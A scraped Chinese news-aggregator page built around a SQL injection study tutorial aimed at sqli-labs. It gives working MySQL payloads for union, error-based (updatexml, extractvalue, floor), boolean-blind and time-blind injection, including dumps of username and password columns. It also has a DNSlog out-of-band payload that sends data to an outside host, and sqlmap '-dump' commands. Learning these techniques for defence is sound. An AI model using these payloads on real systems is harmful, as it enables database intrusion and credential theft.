最新要闻
- 阜阳发布通知!公积金政策再调整!
- 市场监管行风建设在行动|辽宁沈阳:提升“双随机、一公开”监管效能
- 避免出意外!罗马诺:英国凌晨2:29,利物浦正准备凯塞多交易文件
- 139元 罗马仕新款2万毫安充电宝上架:自带苹果安卓快充线
- 历年之最!扬州新增8家,江都上榜的是……
- 网友质疑发展电动车是不是走错了:给出三大理由
- PC级WPS功能普及!小米平板6全系均可使用
- 宝宝参加婚礼被亲一脸口红印 提醒:警惕病毒致“亲吻病”
- 湖北发布地质灾害气象风险预警,部分区域滑坡风险较大
- 华人大神出手 AMD显卡AI“炼丹”能力追上来了:RTX 4090八成性能
- 最新国产大模型报告出炉:讯飞星火第一 总分1013
- 小秀一下:闲鱼成《黑神话》大型“晒资格”现场
- 怀孕4个月了,想喝点孕妇奶粉补充营养,求推荐?
- 好玩的来了 《GTA6》毛发可动态生长
- 约1450岁“树王”!中国科考队发布亚洲最高树等身照:你手机看要划几下?
- 外观不输理想 小鹏X9最新谍照曝光 眯眯眼终于取消
手机
![2016年金球奖排名:C罗第4次获奖,梅西、格列兹曼二三位](http://img.9774.com.cn/2022/0923/20220923111824165.jpg)
2016年金球奖排名:C罗第4次获奖,梅西、格列兹曼二三位
![幸亏过路女司机凌晨多看了两眼 网友:疲劳驾驶很危险](http://www.cnmyjj.cn/uploadfile/2022/0610/20220610113604867.jpg)
幸亏过路女司机凌晨多看了两眼 网友:疲劳驾驶很危险
- 2016年金球奖排名:C罗第4次获奖,梅西、格列兹曼二三位
- 幸亏过路女司机凌晨多看了两眼 网友:疲劳驾驶很危险
- 去年我国露天煤矿产量首次突破10亿吨
- 海事卫星电话是干嘛的(海事卫星电话是个什么东西)
- 顺络电子:董事长部分股权办理股票质押业务
- 深圳7月二手住宅成交2259套,中介称近期咨询客户开始增加
家电
SQL 注入学习【笔记】
SQL 注入基础
有回显
回显正常
基本步骤
1. 判断注入类型
数字型 or 字符型
(资料图片)
数字型【示例】:
?id=1
字符型【示例】:?id=1"
这也是在尝试闭合原来的 sql 语句,用包括 " " )不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \号】
id=1\
根据语句报错返回的信息 \后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?【以数字型为例,字符型同理】?id=1 and 1=1
为真?id=1 and 1=2
为假上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+注释掉后面的代码如果已知为 MySQL 数据库,则可用 #号注释2. 猜解 SQL 查询语句中的字段数
order by n --+
【n为字段数】3. 确定字段的回显点
上面步骤 2 猜出几个就填几个数字
union select 1,2,... --+
4. 获取当前数据库
union select database() --+
附:部分题目需要用到其他数据库的信息,可通过下面语句来显示所有数据库名
union select 1,...,schema_name from information_schema.schemata --+
5. 获取数据库中的表获取当前数据库中的表
union select 1,...,group_concat(table_name) from information_schema.tables where table_schema=database() --+
获取指定数据库中的表
union select 1,...,group_concat(table_name) from information_schema.tables where table_schema=数据库名 --+
6. 获取表中列名(字段名)
union select 1,...,group_concat(column_name) from information_schema.columns where table_name="表名" --+
获取指定数据库表中字段名
union select 1,...,group_concat(column_name) from information_schema.columns where table_name=数据库名.表名 --+
7. 获取字段名的值
union select 1,...,group_concat(字段名1,字段名...) from 表名 --+
获取指定数据库表中字段内容
union select 1,...,group_concat(字段名1,字段名...) from 数据库名.表名 --+
报错注入
updatexml 报错注入
浅析
函数:updatexml(xml_doument,XPath_string,new_value)第一个参数:XML_document是String格式,为XML文档对象的名称第二个参数:XPath_string (Xpath格式的字符串)第三个参数:new_value,String格式,替换查找到的符合条件的数据【我们的主角是第二个参数,其他两个不用管】我们要构造一条带有 xpath 语法错误的语句,比如
0x7e
【0x7e 在ASCII码中为~,而在 xpath 语法中没有这个符号】【最简单报错示例】and updatexml(1,0x7e,1) --+
很显然,这样只是把 0x7e 转成了 ~ 。接下来就可以将 0x7e 跟奇奇怪怪的 sql 语句拼接在一起,达到某种目的了【可以用 concat()函数拼接】【示例】
下面基本步骤 3 ,第一和第三个参数随便设个 1 ,中间参数就是用 concat 将 sql 语句和 0x7e 拼接在一起
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1"
这也是在尝试闭合原来的 sql 语句,可以用包括 " " )不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \号】
id=1\
根据语句报错返回的信息 \后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?【以数字型为例,字符型同理】?id=1 and 1=1
为真?id=1 and 1=2
为假上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+注释掉后面的代码如果已知为 MySQL 数据库,则可用 #号注释2. 猜解表名
and updatexml(1,concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+
3. 猜解字段名
and updatexml(1,concat((select group_concat(column_name) from information_schema.columns where table_name=表名),0x7e),1) --+
4. 猜解字段内容
and updatexml(1,concat((select group_concat(字段1,...) from 表名),0x7e),1) --+
若出现内容显示不全,则可以使用 mid()函数一点一点提取出来。或者其他的截取字符的函数都可以函数格式:mid(string,start,length)字符串开始位置 截取的字符长度示例:【基于 xpath 的报错一次最多输出 32 个字符】and updatexml(1,concat(0x7e,(select mid(group_concat(username,password),1,32) from users)),1) --+
extractvalue 报错注入
浅析
函数:extractvalue(XML_document,xpath_string)第一个参数:string格式,为XML文档对象的名称第二个参数:xpath_string(xpath格式的字符串)【只有两个参数,我们的主角是第二个参数,另外一个不用管】【基本跟 updatexml 一样,换汤不换药】我们要构造一条带有 xpath 语法错误的语句,比如
0x7e
【0x7e 在ASCII码中为~,而在 xpath 语法中没有这个符号】【最简单报错示例】and extractvalue(1,0x7e)
很显然,这样只是把 0x7e 转成了 ~ 。接下来就可以将 0x7e 跟奇奇怪怪的 sql 语句拼接在一起,达到某种目的了【可以用 concat()函数拼接】【示例】
下面基本步骤 3 ,第一个参数随便设个 1 ,中间参数就是用 concat 将 0x7e 和 sql 语句拼接在一起
【0x7e 在前,sql语句在后(上面 updatexml 函数顺序没要求,extractvalue 函数顺序必须对)】若出现内容显示不全,则可以使用 mid()函数一点一点提取出来。或者其他的截取字符的函数都可以函数格式:mid(string,start,length)字符串开始位置 截取的字符长度示例:【基于 xpath 的报错一次最多输出 32 个字符】and extractvalue(1,concat(0x7e,(select mid(group_concat(username,password),1,32) from users))) --+
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1"
这也是在尝试闭合原来的 sql 语句,可以用包括 " " )不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \号】
id=1\
根据语句报错返回的信息 \后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?【以数字型为例,字符型同理】?id=1 and 1=1
为真?id=1 and 1=2
为假上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+注释掉后面的代码如果已知为 MySQL 数据库,则可用 #号注释2. 猜解表名
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
3. 猜解字段名
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="表名"))) --+
4. 猜解字段内容
and extractvalue(1,concat(0x7e,(select group_concat(字段1,...) from 表名))) --+
floor 报错注入
浅析
众所周知,floor() 为向下取整函数。rand() 是生成 0~1 随机数的函数,将其 *2 则生成 0~2 的随机数而 rand(0) 则生成一个固定的伪随机数只要 rand() 里面是 0 ,那么它前十个一定是这几个数然后将其 *2然后再向下取整得到这样的一个固定序列,待会会用到
MySQL 在执行 select count(*)from tables group by x这类语句时会创建一个虚拟表【key是主键,不可重复。count(*) 用于计数】看一眼待会要用的表
接着进行数据查询,首先会查看虚拟表中是否存在此数据,若存在则计数加 1(rand() 不会再次执行),否则插入数据(rand() 会再次执行)具体流程:查询第一条记录,执行 floor(rand(0)*2) 返回值为 0 ,发现 0 不在虚拟表内,此时执行插入操作而执行插入操作之前,floor(rand(0)*2) 会再次执行,返回值为 1 ,所以第一步实际是往虚拟表里插入了 1接着查询第二条记录,执行 floor(rand(0)*2) 返回值为 1 ,而 1 已在虚拟表内,则计数加 1接着查询第三条记录,执行 floor(rand(0)*2) 返回值为 1 ,而 1 已在虚拟表内,则计数加 1接着查询第四条记录,执行 floor(rand(0)*2) 返回值为 0 ,发现 0 不在虚拟表内,此时执行插入操作而执行插入操作之前,floor(rand(0)*2) 会再次执行,返回值为 1 ,所以这一步实际是往虚拟表里插入了 1 ,但是表中已有主键 1 ,再插入就会导致主键冲突而报错
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1"
这也是在尝试闭合原来的 sql 语句,可以用包括 " " )但不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \号】
id=1\
根据语句报错返回的信息 \后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?【以数字型为例,字符型同理】?id=1 and 1=1
为真?id=1 and 1=2
为假上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+注释掉后面的代码如果已知为 MySQL 数据库,则可用 #号注释2. 猜解 SQL 查询语句中的字段数(页面返回正常即猜解正确)
order by n --+
【n为字段数】3. 猜解数据库名
union select 1,count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x --+
4. 猜解表名
union select 1,count(*),concat(floor(rand(0)*2),(select group_concat(table_name) from information_schema.tables where table_schema=database())) x from information_schema.tables group by x --+
5. 猜解列名(字段名)
union select 1,count(*),concat(floor(rand(0)*2),(select group_concat(column_name) from information_schema.columns where table_name=表名)) x from information_schema.tables group by x --+
6. 猜解字段的内容
union select 1,count(*),concat(floor(rand(0)*2),(select concat(字段1,...) from 表名 limit 0,1)) x from information_schema.tables group by x --+
若出现内容显示不全,则可以使用 mid()函数一点一点提取出来。或者其他的截取字符的函数都可以函数格式:mid(string,start,length)字符串开始位置 截取的字符长度示例:union select 1,count(*),concat(floor(rand(0)*2),(select mid(group_concat(username,password),1,32) from users)) x from information_schema.tables group by x --+
无回显
盲注
布尔盲注
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1"
这也是在尝试闭合原来的 sql 语句,可以用包括 " " )不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \号】
id=1\
根据语句报错返回的信息 \后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?【以数字型为例,字符型同理】?id=1 and 1=1
为真?id=1 and 1=2
为假上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+注释掉后面的代码如果已知为 MySQL 数据库,则可用 #号注释2. 猜解数据库名长度(若页面正常显示则判断正确)
and length(database()) = n --+
【n为字符数】【可枚举出 n】
and length(database()) > n --+
【n为字符数】可用【二分法】【下面步骤用此法】3. 猜解数据库名(若页面正常显示则判断正确)
and ascii(substr(database(),1,1)) > n --+
and ascii(substr(database(),2,1)) > n --+
【n为 ASCII 码,基本字符就前 128 个】
and ascii(substr(database(),...,1)) > n --+
对照 ASCII 码表即可将数据库名拼出ASCII码对照表
【若不想猜 ASCII 码,可以去掉 ascii() , n 为字符,记得加 引号】
【示例】
and substr(database(),...,1) = "s" --+
4.猜解数据库中表的数量(若页面正常显示则判断正确)
and (select count(table_name) from information_schema.tables where table_schema = database()) > n --+
【n 为数量】5. 猜解数据库表名长度(若页面正常显示则判断正确)
and (select length(table_name) from information_schema.tables where table_schema = database() limit 0,1) > n --+
【n 为长度】【必须要有 limit 0,1】6.猜解表名(若页面正常显示则判断正确)
猜解第一个表名
and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1) > n --+
【n 为 ASCII 码】【必须要有 limit 0,1】猜解第二个表名
and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 1,1) > n --+
【n 为 ASCII 码】【必须要有 limit 1,1】猜解第 a 个表名【下面的 a-1 就是当前为第 a 个表 -1】
and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit a-1,1) > n --+
【n 为 ASCII 码】【必须要有 limit a-1,1】7.猜解表中的字段数(若页面正常显示则判断正确)
and (select count(column_name) from information_schema.columns where table_name = "表名") > n --+
【n 为数量】【表名按照上面步骤猜解出来的】8. 猜解表中的字段名的长度(若页面正常显示则判断正确)
猜解第一个字段名的长度
and (select length(column_name) from information_schema.columns where table_name = "表名" limit 0,1) > n --+
【n 为长度】【必须要有 limit 0,1】猜解第 a 个字段名的长度【下面的 a-1 就是当前为第 a 个表 -1】
and (select length(column_name) from information_schema.columns where table_name = "表名" limit a-1,1) > n --+
【n 为长度】【必须要有 limit a-1,1】9. 猜解字段名(若页面正常显示则判断正确)
猜解第一个字段名
and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = "表名" limit 0,1) > n --+
【n 为 ASCII 码】【必须要有 limit 0,1】猜解第 a 个字段名【下面的 a-1 就是当前为第 a 个表 -1】
and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = "表名" limit a-1,1) > n --+
【n 为 ASCII 码】【必须要有 limit a-1,1】10. 猜解列中字段内容的长度(若页面正常显示则判断正确)
猜解第一个字段内容的长度
and (select length(字段名) from 表名 limit 0,1) > n --+
【n 为长度】【必须要有 limit 0,1】猜解第 a 个字段内容的长度【下面的 a-1 就是当前为第 a 个表 -1】
and (select length(字段名) from 表名 limit a-1,1) > n --+
【n 为长度】【必须要有 limit a-1,1】11. 猜解列中字段内容(若页面正常显示则判断正确)
猜解第一个字段内容
and (select ascii(substr(字段名,1,1)) from 表名 limit 0,1) > n --+
【n 为 ASCII 码】【必须要有 limit 0,1】猜解第 a 个字段内容【下面的 a-1 就是当前为第 a 个表 -1】
and (select ascii(substr(字段名,1,1)) from 表名 limit a-1,1) > n --+
【n 为 ASCII 码】【必须要有 limit a-1,1】
时间盲注
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1"
这也是在尝试闭合原来的 sql 语句,可以用包括 " " )不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \号】
id=1\
根据语句报错返回的信息 \后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?【以数字型为例,字符型同理】?id=1 and 1=1
为真?id=1 and 1=2
为假上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+注释掉后面的代码如果已知为 MySQL 数据库,则可用 #号注释2. 猜解数据库名长度(若页面刷新指定秒则判断正确)
and if(length(database())=n,sleep(2),0) --+
【n为字符数】【可枚举出 n】
and if(length(database())>n,sleep(2),0) --+
【n为字符数】可用【二分法】【下面步骤用此法】3. 猜解数据库名(若页面刷新指定秒则判断正确)
and if(ascii(substr(database(),1,1))>n,sleep(2),0) --+
and if(ascii(substr(database(),2,1))>n,sleep(2),0) > n --+
【n为 ASCII 码,基本字符就前 128 个】
and if(ascii(substr(database(),...,1))>n,sleep(2),0) > n --+
对照 ASCII 码表即可将数据库名拼出ASCII码对照表
【若不想猜 ASCII 码,可以去掉 ascii() , n 为字符,记得加 引号】
【示例】
and substr(database(),...,1) = "s" --+
4. 猜解数据库中表的数量(若页面刷新指定秒则判断正确)
and if((select count(table_name) from information_schema.tables where table_schema = database())>n,sleep(2),0) --+
【n 为数量】5. 猜解表名长度(若页面刷新指定秒则判断正确)
and if((select length(table_name) from information_schema.tables where table_schema = database() limit 0,1) > n,sleep(2),0) --+
【n 为长度】【必须要有 limit 0,1】6. 猜解表名(若页面刷新指定秒则判断正确)猜解第一个表名
and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit 0,1】猜解第 a 个表名【下面的 a-1 就是当前为第 a 个表 -1】and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit a-1,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit a-1,1】7. 猜解表中的字段数(若页面刷新指定秒则判断正确)
and if((select count(column_name) from information_schema.columns where table_name = "表名" ) > n,sleep(2),0) --+
【n 为数量】【表名按照上面步骤猜解出来的】8. 猜解字段长度(若页面刷新指定秒则判断正确)猜解第一个字段长度
and if((select length(column_name) from information_schema.columns where table_name = "表名" limit 0,1) > n,sleep(2),0) --+
【n 为长度】【必须要有 limit 0,1】猜解第 a 个字段长度【下面的 a-1 就是当前为第 a 个表 -1】and if((select length(column_name) from information_schema.columns where table_name = "表名" limit a-1,1) > n,sleep(2),0) --+
【n 为长度】【必须要有 limit a-1,1】9. 猜解字段(若页面刷新指定秒则判断正确)猜解第一个字段
and if((select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = "表名" limit 0,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit 0,1】猜解第 a 个字段【下面的 a-1 就是当前为第 a 个表 -1】and if((select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = "表名" limit a-1,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit a-1,1】10. 猜解字段内容的长度(若页面刷新指定秒则判断正确)猜解第一个字段内容的长度
and if((select length(字段名) from 表名 limit 0,1) > n,sleep(2),0) --+
【n 为长度】【必须要有 limit 0,1】猜解第 a 个字段内容的长度【下面的 a-1 就是当前为第 a 个表 -1】and if((select length(字段名) from 表名 limit a-1,1) > n,sleep(2),0) --+
【n 为长度】【必须要有 limit a-1,1】11. 猜解字段内容(若页面刷新指定秒则判断正确)猜解第一个字段内容
and if((select ascii(substr(字段名,1,1)) from 表名 limit 0,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit 0,1】猜解第 a 个字段内容【下面的 a-1 就是当前为第 a 个表 -1】and if((select ascii(substr(字段名,1,1)) from 表名 limit a-1,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit a-1,1】
OOB(out of band)信息外带漏洞
需要了解 DNSlog 和 UNC 的知识,可以参考 DNSlog注入学习
基本步骤
1. 前提条件该漏洞需要修改 mysql 配置文件,在 my.ini 找到
secure_file_priv = ""
,若 secure_file_priv 的值不为 "" 则改为 "" ,若没有则添加即可2. 找一个 DNSlog 平台找一些在线的或者本地搭建,此教程以 CEYE 平台为例
3. 构造 payload
and if((select load_file(concat("\\\\",database(),".你的Identifier\\abc"))),1,0) --+
所以我们只需要改database()
和你的Identifier
即可database()
填 sql 注入语句至于如何获得Identifier首先,注册一个 ceye 的账号并登录进去按照上面 concat 出来的应该是
\\database().你的Identifier\abc
,后面不一定是 abc, 可以随便填,至于为什么上面语句写四个 \ ,那是因为要转义
利用 Burp Suite 进行半自动化注入(以布尔盲注为例)
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1"
这也是在尝试闭合原来的 sql 语句,可以用包括 " " )不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \号】
id=1\
根据语句报错返回的信息 \后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?【以数字型为例,字符型同理】?id=1 and 1=1
为真?id=1 and 1=2
为假上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+注释掉后面的代码如果已知为 MySQL 数据库,则可用 #号注释2. 半自动化爆破数据库名长度先截包再发送给 Intruder 模块添加 payload 位置添加字典,开始爆破找正确答案即可
3、半自动化爆破数据库名bp抓包发送 Intruder 模块,并添加 payload添加字典,开始爆破找出正确答案往后的步骤同理
利用 sqlmap 实现自动化注入
基本步骤
1. 前提条件请确保你的计算机已经安装 python 并成功配置环境变量2. 下载并解压 sqlmap3. 运行 sqlmap打开 sqlmap 根目录,单击上面的地址栏,输入 cmd,打开命令行窗口,输入
python sqlmap.py -h
若出现这个界面则表示运行成功4. 使用 sqlmap 进行自动化注入【GET 提交方法】最简单的方法,输入python sqlmap.py -u 网址 -dump
然后一路回车即可【示例】python sqlmap.py -u http://sqli-labs/Less-9/?id=1 -dump
注意:输入的网址最好是带参数【POST 提交方法】最简单的方法,输入
python sqlmap.py -u 网址 --forms -dump
然后一路回车即可【示例】python sqlmap.py -u http://sqli-labs/Less-15/ --forms -dump
关键词:
-
-
-
-
SQL 注入学习【笔记】
背包问题基础模型全解
医药商业、SPD概念股继续走强
晨光生物: 上市公司2023年上半年度非经营性资金占用及其他关联资金往来情况汇总表
哈弗M6 PLUS价格便宜,空间充足,买它家用怎么样,油耗到底是多少
2016年金球奖排名:C罗第4次获奖,梅西、格列兹曼二三位
玻尿酸的副作用和危害(xeq玻尿酸)
阿Sa发声承认分手,和百亿少爷还是好朋友,没有第三者拒绝透露原因
“竭尽所能帮助群众”
电影市场冰火两重天:票房爆火创纪录,投资断档跌入谷底
[快讯]露笑科技:关于持股5%以上股东减持股份达到1%
前7月铁路完成固定资产投资3713亿元 同比增长7%
老粉嘴梗有哪些含义
阜阳发布通知!公积金政策再调整!
众志成城 防汛救灾|黑龙江省延寿县防汛救灾安置点见闻
幸亏过路女司机凌晨多看了两眼 网友:疲劳驾驶很危险
避雷早知道:警惕!五连板牛股紧急提示风险
小米 MIX Fold 3 公布首支产品体验视频,真机亮相
市场监管行风建设在行动|辽宁沈阳:提升“双随机、一公开”监管效能
家电转型升级 激发消费潜力(经济聚焦)
小情侣双双中招!医生紧急提醒……
植树节的画一等奖五年级(植树节的画)
小贝夫妇和梅西夫妇又聚餐啦!安妞穿抹胸热舞,贝嫂穿蕾丝衣不输
去年我国露天煤矿产量首次突破10亿吨
华人亲历夏威夷大火
辽宁丹东市将防汛应急响应级别由Ⅱ级调整至Ⅳ级
永发乡:齐心协力 守护家园
杭州亚运会正式发布“亚运元宇宙”
超658亿!知名基金经理“组团”参与
避免出意外!罗马诺:英国凌晨2:29,利物浦正准备凯塞多交易文件
里夫斯:对阵灰熊时他们整个队都在说垃圾话 击败他们感觉很好
中国古代形而上学的现代思考
海事卫星电话是干嘛的(海事卫星电话是个什么东西)
市场监管行风建设在行动|辽宁沈阳:提升“双随机、一公开”监管效能
一声感谢 一份责任:梁山县人民医院用关怀传递温度,在细节中诠释用心
阿姨看戏剧表演直接上台打赏 演员收到红包后笑得更灿烂了!
国泰君安晨报
南宁交警一天内查获4辆非法改装车!责令限时恢复原状
139元 罗马仕新款2万毫安充电宝上架:自带苹果安卓快充线
历年之最!扬州新增8家,江都上榜的是……
“卡努”残余环流致辽宁多地暴雨 4座水库超汛限
网友质疑发展电动车是不是走错了:给出三大理由
PC级WPS功能普及!小米平板6全系均可使用
宝宝参加婚礼被亲一脸口红印 提醒:警惕病毒致“亲吻病”
C#快速排序算法
湖北发布地质灾害气象风险预警,部分区域滑坡风险较大
华人大神出手 AMD显卡AI“炼丹”能力追上来了:RTX 4090八成性能
最新国产大模型报告出炉:讯飞星火第一 总分1013
小秀一下:闲鱼成《黑神话》大型“晒资格”现场
怀孕4个月了,想喝点孕妇奶粉补充营养,求推荐?
好玩的来了 《GTA6》毛发可动态生长
约1450岁“树王”!中国科考队发布亚洲最高树等身照:你手机看要划几下?
外观不输理想 小鹏X9最新谍照曝光 眯眯眼终于取消
车红是非多!一醉汉驾驶Model X撞上警车:特斯拉反被诉讼
逼停动车有什么后果?一公司赔偿3万多
游戏行业,开启AIGC时代“大航海”
仅3%好评 中国玩家一发怒:暴雪《守望先锋2》差评史无前例
新奇!男子游泳时徒手抓到1米多大鱼:52斤重、嘴里七八个鱼钩
造车新势力7月销量:埃安蝉联冠军,理想扭亏,小鹏重回万辆水平
提前激活每台罚款20万 传苹果iPhone 15手机9月16日解封
湖北宜都烟草:携手助残 阳光出行
河北等16个受灾地区保险机构已赔付14.5亿元
造车是门好生意 越南新势力最早下周可上市:估值230亿美元
不到10万就能拿下!搭载1.5T双电机混动系统 东风风神皓瀚上市
首搭徕卡全焦段四摄!雷军:小米MIX Fold 3迈出重要一步
惊险!阮经天出车祸擦撞水泥车,现场惨不忍睹,IG曝近况
中国是全球最大芯片市场 中芯国际:对行业前景抱有长远信心
瞄准中国市场 雷克萨斯插混SUV曝光 售50.4万起
游戏不卡顿、炫酷机甲风:英菲克W9鼠标19.9元(京东39元)
至少80人死亡!夏威夷山火致一海滨小镇几乎消失:约百人跳海逃生
清爽控油、深层清洁!妮维雅男士洗面奶到手24.9元
吉林本轮降水进入关键期 今夜中南部将出现大到暴雨
友商压力大了!小米MIX Fold 3实拍出炉:徕卡双长焦太猛 媲美单反
暑期档黑马!《孤注一掷》总票房破15亿:上映仅5天
文艺青年!雷军准备演讲稿单曲循环谢春花《借我》:称赞歌词太好了
面包车高速路上强行“见缝插针”被撞!官方科普变道三大忌
閟宫是什么意思(逼宫)
全球首颗高轨SAR卫星 我国成功发射陆地探测四号01星
【专题】质数筛
背靠大模型的华为小艺:我竟然发现了华为员工都不知道的新功能
营收大涨2倍、毛利率超特斯拉:理想怎么做到的?
背靠大模型的华为小艺:我竟然发现了华为员工都不知道的新功能
几百元的国产芯片+Flyme手机:竟然能畅玩《原神》!
天津一电动车室内充电爆炸到燃烧仅3分钟 网友吵翻为何电池拿回家充电
蚂蚁死后会发生什么?其他蚂蚁视而不见 直到两天后……
青萝卜的做法视频(青萝卜的做法)
下课啦(关于下课啦的基本详情介绍)
Intel Arc显卡自曝安全漏洞!这三个月买的小心了
开始上演!邂逅英仙座流星雨:高峰期每小时可达100颗
华为声明:不对外经营房产!任正非曾多次表态:挣大钱的死得快 我们就是聚焦
什么是5a级写字楼
离谱网红去天上抓了一朵云:然后卖了2万7!
河北因洪涝灾害受损学校加紧灾后重建 确保在9月1日如期开学
想造爆款 五菱听劝
北京首都机场今年旅客吞吐量突破3000万:2018/2019年曾过亿
你怎么看?中国最缺大学的十大城市一览:佛山排第一 拟以城市冠名大学
东西问·中外对话丨痴迷汉字,这位美国大叔学会用粤语读唐诗
自研龙骨转轴 小米MIX Fold 3支持多角度悬停拍照模式 跨度达90度
高铁票越来越难买 都是短途票闹得?12306图解如何分配长途票和短途票
长沙一小区给业主发60万元现金 网友集体羡慕:这样的物业哪找